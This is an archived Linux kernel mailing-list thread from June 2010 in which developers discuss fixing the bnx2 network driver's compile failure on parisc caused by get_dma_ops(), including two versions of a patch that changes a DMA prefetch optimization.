X-Trace: dough.gmane.org 1276777309 25128 80.91.229.12 (17 Jun 2010 12:21:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 12:21:49 +0000 (UTC)
Cc: davem@davemloft.net, lethal@linux-sh.org, vapier@gentoo.org,
	JBottomley@novell.com, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	fujita.tomonori@lab.ntt.co.jp
To: mchan@broadcom.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 14:21:43 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPE6F-0005WZ-Ol
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 14:21:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759940Ab0FQMVa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 08:21:30 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:36465 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752164Ab0FQMV3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 08:21:29 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HCLDjR015689;
	Thu, 17 Jun 2010 21:21:14 +0900
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com>
Original-Lines: 25
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 21:21:15 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2939 gmane.linux.network:164200 gmane.linux.kernel:999930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2939>

On Wed, 16 Jun 2010 23:24:44 -0700
"Michael Chan" <mchan@broadcom.com> wrote:

> Michael Chan wrote:
> >
> > Paul Mundt wrote:
> >
> > > If you want to have a micro-optimization for the consistent DMA
> > > case, you can check dma_is_consistent(), which is part of the API and
> > > will be variable on certain platform configurations (ie, some may be
> > > consistent with PCI but not on other busses, etc.)
> > >
> > >
> >
> > Thanks for the tip.  I didn't know about the dma_is_consistent() API.
> > I'll use this to fix it then.
> >
> 
> David, why is dma_is_consistent() always returning 1 on sparc?  The
> streaming DMA is not consistent.

I think that there are some confusion about dma_is_consistent(). Some
architectures think that dma_is_consistent() is supposed to return 1
if they can allocate coherent memory (note that some architectures
can't allocate coherent memory).
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 05:54:34 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA1F@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <20100617211203O.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1276779291 32441 80.91.229.12 (17 Jun 2010 12:54:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 12:54:51 +0000 (UTC)
Cc: "vapier@gentoo.org" <vapier@gentoo.org>,
	"JBottomley@Novell.com" <JBottomley@Novell.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "'FUJITA Tomonori'" <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 14:54:48 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPEcF-0005Ey-1V
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 14:54:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759972Ab0FQMym (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 08:54:42 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:3391 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759832Ab0FQMyl convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 08:54:41 -0400
Original-Received: from [10.9.200.133] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Thu, 17 Jun 2010 05:54:35 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB02.corp.ad.broadcom.com ([10.9.200.133]) with mapi; Thu, 17
 Jun 2010 05:55:56 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsOFpE3XSyri7ATSHmbS2Ua8PhHFQADJlRQ
In-Reply-To: <20100617211203O.fujita.tomonori@lab.ntt.co.jp>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 6004C48120S160598691-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2940 gmane.linux.network:164201 gmane.linux.kernel:999939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2940>

FUJITA Tomonori wrote:

> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Date: Thu, 17 Jun 2010 13:06:15 +0900
> Subject: [PATCH] bnx2: fix dma_get_ops compilation breakage
>
> This removes dma_get_ops() prefetch optimization in bnx2.
>
> bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
> noop. bnx2 does prefetch if it's noop.
>
> But dma_get_ops() isn't available on all the architectures (only the
> architectures that uses dma_map_ops struct have it). Using
> dma_get_ops() in drivers leads to compilation breakage on many
> archtectures.
>
> Currently, we don't have a way to see if dma_sync_single_for_cpu() is
> noop. If it can improve the performance notably, we can add the new
> DMA API for it.

This prefetch improves performance noticeably when the driver is
handling incoming 64-byte packets at a sustained rate.

>
> Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>

Acked-by: Michael Chan <mchan@broadcom.com>

Thanks.

> ---
>  drivers/net/bnx2.c |   10 +---------
>  1 files changed, 1 insertions(+), 9 deletions(-)
>
> diff --git a/drivers/net/bnx2.c b/drivers/net/bnx2.c
> index 949d7a9..b3305fc 100644
> --- a/drivers/net/bnx2.c
> +++ b/drivers/net/bnx2.c
> @@ -3073,7 +3073,6 @@ bnx2_rx_int(struct bnx2 *bp, struct
> bnx2_napi *bnapi, int budget)
>       u16 hw_cons, sw_cons, sw_ring_cons, sw_prod, sw_ring_prod;
>       struct l2_fhdr *rx_hdr;
>       int rx_pkt = 0, pg_ring_used = 0;
> -     struct pci_dev *pdev = bp->pdev;
>
>       hw_cons = bnx2_get_hw_rx_cons(bnapi);
>       sw_cons = rxr->rx_cons;
> @@ -3086,7 +3085,7 @@ bnx2_rx_int(struct bnx2 *bp, struct
> bnx2_napi *bnapi, int budget)
>       while (sw_cons != hw_cons) {
>               unsigned int len, hdr_len;
>               u32 status;
> -             struct sw_bd *rx_buf, *next_rx_buf;
> +             struct sw_bd *rx_buf;
>               struct sk_buff *skb;
>               dma_addr_t dma_addr;
>               u16 vtag = 0;
> @@ -3098,13 +3097,6 @@ bnx2_rx_int(struct bnx2 *bp, struct
> bnx2_napi *bnapi, int budget)
>               rx_buf = &rxr->rx_buf_ring[sw_ring_cons];
>               skb = rx_buf->skb;
>               prefetchw(skb);
> -
> -             if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> -                     next_rx_buf =
> -                             &rxr->rx_buf_ring[
> -
> RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> -                     prefetch(next_rx_buf->desc);
> -             }
>               rx_buf->skb = NULL;
>
>               dma_addr = dma_unmap_addr(rx_buf, mapping);
> --
> 1.5.6.5
>
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <JBottomley@Novell.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 08:12:16 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1276780336.2789.6.camel@mulgrave.site>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1F@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276780357 4345 80.91.229.12 (17 Jun 2010 13:12:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 13:12:37 +0000 (UTC)
Cc: 'FUJITA Tomonori' <fujita.tomonori@lab.ntt.co.jp>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 15:12:35 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPEtX-0007wj-4D
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 15:12:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759972Ab0FQNMY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 09:12:24 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:55303 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759969Ab0FQNMX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 09:12:23 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id A3E2D87567;
	Thu, 17 Jun 2010 15:12:21 +0200 (CEST)
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1F@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2941 gmane.linux.network:164208 gmane.linux.kernel:999943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2941>

On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> FUJITA Tomonori wrote:
> 
> > From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> > Date: Thu, 17 Jun 2010 13:06:15 +0900
> > Subject: [PATCH] bnx2: fix dma_get_ops compilation breakage
> >
> > This removes dma_get_ops() prefetch optimization in bnx2.
> >
> > bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
> > noop. bnx2 does prefetch if it's noop.
> >
> > But dma_get_ops() isn't available on all the architectures (only the
> > architectures that uses dma_map_ops struct have it). Using
> > dma_get_ops() in drivers leads to compilation breakage on many
> > archtectures.
> >
> > Currently, we don't have a way to see if dma_sync_single_for_cpu() is
> > noop. If it can improve the performance notably, we can add the new
> > DMA API for it.
> 
> This prefetch improves performance noticeably when the driver is
> handling incoming 64-byte packets at a sustained rate.

So why not do it unconditionally?  The worst that can happen is that you
pull in a stale cache line which will get cleaned in the dma_sync, thus
slightly degrading performance on incoherent architectures.

Alternatively, come up with a dma prefetch infrastructure ... all you're
really doing is hinting to the architecture that you'll sync this region
next.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 06:30:39 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <1276780336.2789.6.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1276781452 8668 80.91.229.12 (17 Jun 2010 13:30:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 13:30:52 +0000 (UTC)
Cc: "'FUJITA Tomonori'" <fujita.tomonori@lab.ntt.co.jp>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "'James Bottomley'" <JBottomley@Novell.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 15:30:51 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPFBA-0001Ir-GA
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 15:30:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759826Ab0FQNar (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 09:30:47 -0400
Original-Received: from mms3.broadcom.com ([216.31.210.19]:4971 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759762Ab0FQNaq convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 09:30:46 -0400
Original-Received: from [10.9.200.131] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Thu, 17 Jun 2010 06:30:40 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Thu, 17
 Jun 2010 06:30:40 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsOHr+3s97ddtjaTZyzd41c178CUQAAStYA
In-Reply-To: <1276780336.2789.6.camel@mulgrave.site>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 6004FC0A3KC6829834-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2942 gmane.linux.network:164210 gmane.linux.kernel:999948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2942>

James Bottomley wrote:

> On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> > This prefetch improves performance noticeably when the driver is
> > handling incoming 64-byte packets at a sustained rate.
>
> So why not do it unconditionally?  The worst that can happen
> is that you
> pull in a stale cache line which will get cleaned in the
> dma_sync, thus
> slightly degrading performance on incoherent architectures.

The original patch was an unconditional prefetch.  There was
some discussion that it might not be correct if the DMA wasn't
sync'ed yet on some archs.  If the concensus is that it is ok to
do so, that would be the simplest solution.

>
> Alternatively, come up with a dma prefetch infrastructure ...
> all you're
> really doing is hinting to the architecture that you'll sync
> this region
> next.
>
> James
>
>
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <JBottomley@Novell.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 08:36:51 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1276781811.7285.4.camel@mulgrave.site>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276781836 10106 80.91.229.12 (17 Jun 2010 13:37:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 13:37:16 +0000 (UTC)
Cc: 'FUJITA Tomonori' <fujita.tomonori@lab.ntt.co.jp>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 15:37:14 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OPFHO-0004sa-1b
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 15:37:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932726Ab0FQNg7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 09:36:59 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:55941 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754070Ab0FQNg4 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 09:36:56 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 7CB6286A2E;
	Thu, 17 Jun 2010 15:36:55 +0200 (CEST)
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999950 gmane.linux.network:164211 gmane.linux.ports.parisc:2943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2943>

On Thu, 2010-06-17 at 06:30 -0700, Michael Chan wrote: 
> James Bottomley wrote:
> 
> > On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> > > This prefetch improves performance noticeably when the driver is
> > > handling incoming 64-byte packets at a sustained rate.
> >
> > So why not do it unconditionally?  The worst that can happen
> > is that you
> > pull in a stale cache line which will get cleaned in the
> > dma_sync, thus
> > slightly degrading performance on incoherent architectures.
> 
> The original patch was an unconditional prefetch.  There was
> some discussion that it might not be correct if the DMA wasn't
> sync'ed yet on some archs.  If the concensus is that it is ok to
> do so, that would be the simplest solution.

It's definitely not "correct" in that it may pull in stale data.  But it
should be harmless in that if it does, the subsequent sync will destroy
the cache line (even if it actually pulled in correct data) and prevent
the actual use of the prefetched data being wrong (or indeed being
prefetched at all).

James




From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 23:05:59 +0900
Lines: 80
Approved: news@gmane.org
Message-ID: <20100617230435J.fujita.tomonori@lab.ntt.co.jp>
References: <1276780336.2789.6.camel@mulgrave.site>
	<C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276783600 17202 80.91.229.12 (17 Jun 2010 14:06:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 14:06:40 +0000 (UTC)
Cc: JBottomley@Novell.com, fujita.tomonori@lab.ntt.co.jp,
	vapier@gentoo.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: mchan@broadcom.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 16:06:34 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPFjl-0004VR-OI
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 16:06:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760108Ab0FQOG3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 10:06:29 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:46491 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760107Ab0FQOG1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 10:06:27 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HE5xPS016333;
	Thu, 17 Jun 2010 23:05:59 +0900
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
Original-Lines: 75
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 23:06:00 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2944 gmane.linux.network:164213 gmane.linux.kernel:999960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2944>

On Thu, 17 Jun 2010 06:30:39 -0700
"Michael Chan" <mchan@broadcom.com> wrote:

> James Bottomley wrote:
> 
> > On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> > > This prefetch improves performance noticeably when the driver is
> > > handling incoming 64-byte packets at a sustained rate.
> >
> > So why not do it unconditionally?  The worst that can happen
> > is that you
> > pull in a stale cache line which will get cleaned in the
> > dma_sync, thus
> > slightly degrading performance on incoherent architectures.
> 
> The original patch was an unconditional prefetch.  There was
> some discussion that it might not be correct if the DMA wasn't
> sync'ed yet on some archs.  If the concensus is that it is ok to
> do so, that would be the simplest solution.

As James said, it just adds useless prefetch on incoherent
architectures. sync_single_for_cpu is called later so we can see the
correct data. One useless prefetch is unlikely to lead performance
drop.

You might prefer this v2.

=
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Subject: [PATCH v2] bnx2: fix dma_get_ops compilation breakage

This removes dma_get_ops() prefetch optimization in bnx2.

bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
noop. bnx2 does prefetch if it's noop.

But dma_get_ops() isn't available on all the architectures (only the
architectures that uses dma_map_ops struct have it). Using
dma_get_ops() in drivers leads to compilation breakage on many
archtectures.

This patch removes dma_get_ops() and changes bnx2 to do prefetch on
all the architectures. This adds useless prefetch on incoherent
architectures but this is harmless. It is also unlikely to cause the
performance drop.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
---
 drivers/net/bnx2.c |   10 ++++------
 1 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/drivers/net/bnx2.c b/drivers/net/bnx2.c
index 949d7a9..85f1692 100644
--- a/drivers/net/bnx2.c
+++ b/drivers/net/bnx2.c
@@ -3099,12 +3099,10 @@ bnx2_rx_int(struct bnx2 *bp, struct bnx2_napi *bnapi, int budget)
 		skb = rx_buf->skb;
 		prefetchw(skb);
 
-		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
-			next_rx_buf =
-				&rxr->rx_buf_ring[
-					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
-			prefetch(next_rx_buf->desc);
-		}
+		next_rx_buf =
+			&rxr->rx_buf_ring[RX_RING_IDX(NEXT_RX_BD(sw_cons))];
+		prefetch(next_rx_buf->desc);
+
 		rx_buf->skb = NULL;
 
 		dma_addr = dma_unmap_addr(rx_buf, mapping);
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20100617.073653.193708702.davem@davemloft.net>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1D@IRVEXCHCCR01.corp.ad.broadcom.com>
	<C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com>
	<20100617211946A.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276785413 24922 80.91.229.12 (17 Jun 2010 14:36:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 14:36:53 +0000 (UTC)
Cc: mchan@broadcom.com, lethal@linux-sh.org, vapier@gentoo.org,
	JBottomley@novell.com, netdev@vger.kernel.org,
